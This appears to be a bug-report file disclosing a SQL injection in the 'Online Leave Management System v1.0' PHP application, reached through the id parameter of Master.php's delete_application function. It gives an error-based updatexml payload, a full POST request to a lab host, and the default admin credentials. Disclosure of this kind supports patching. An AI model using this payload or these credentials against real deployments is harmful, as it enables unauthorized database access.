

main

...

Bug\_report / vendors / oretnom23 / online-leave-management-system / SQLi-3.md



admin77888 Create SQLi-3.md

History

1 contributor

35 lines (25 sloc) | 1.27 KB

...

# Online Leave Management System v1.0 by oretnom23 has SQL injection

BUG\_Author: Tmoont

Login account: admin/admin123 (Super Admin account)

vendors: <https://www.sourcecodester.com/php/14910/online-leave-management-system-php-free-source-code.html>

Vulnerability File: /leave\_system/classes/Master.php?f=delete\_application

Vulnerability location: /leave\_system/classes/Master.php?f=delete\_application,id

dbname=leave\_db,length=8

[+] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /leave_system/classes/Master.php?f=delete_application HTTP/1.1
```

```
Host: 192.168.1.19
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

```
Accept: application/json, text/javascript, */*; q=0.01
```

```
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

Accept-Encoding: gzip, deflate  
DNT: 1  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://192.168.1.19/leave\_system/admin/?page=maintenance/department  
Content-Length: 65  
Cookie: PHPSESSID=a58hbbkeelngug4ek0dssb0rb5  
Connection: close

id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

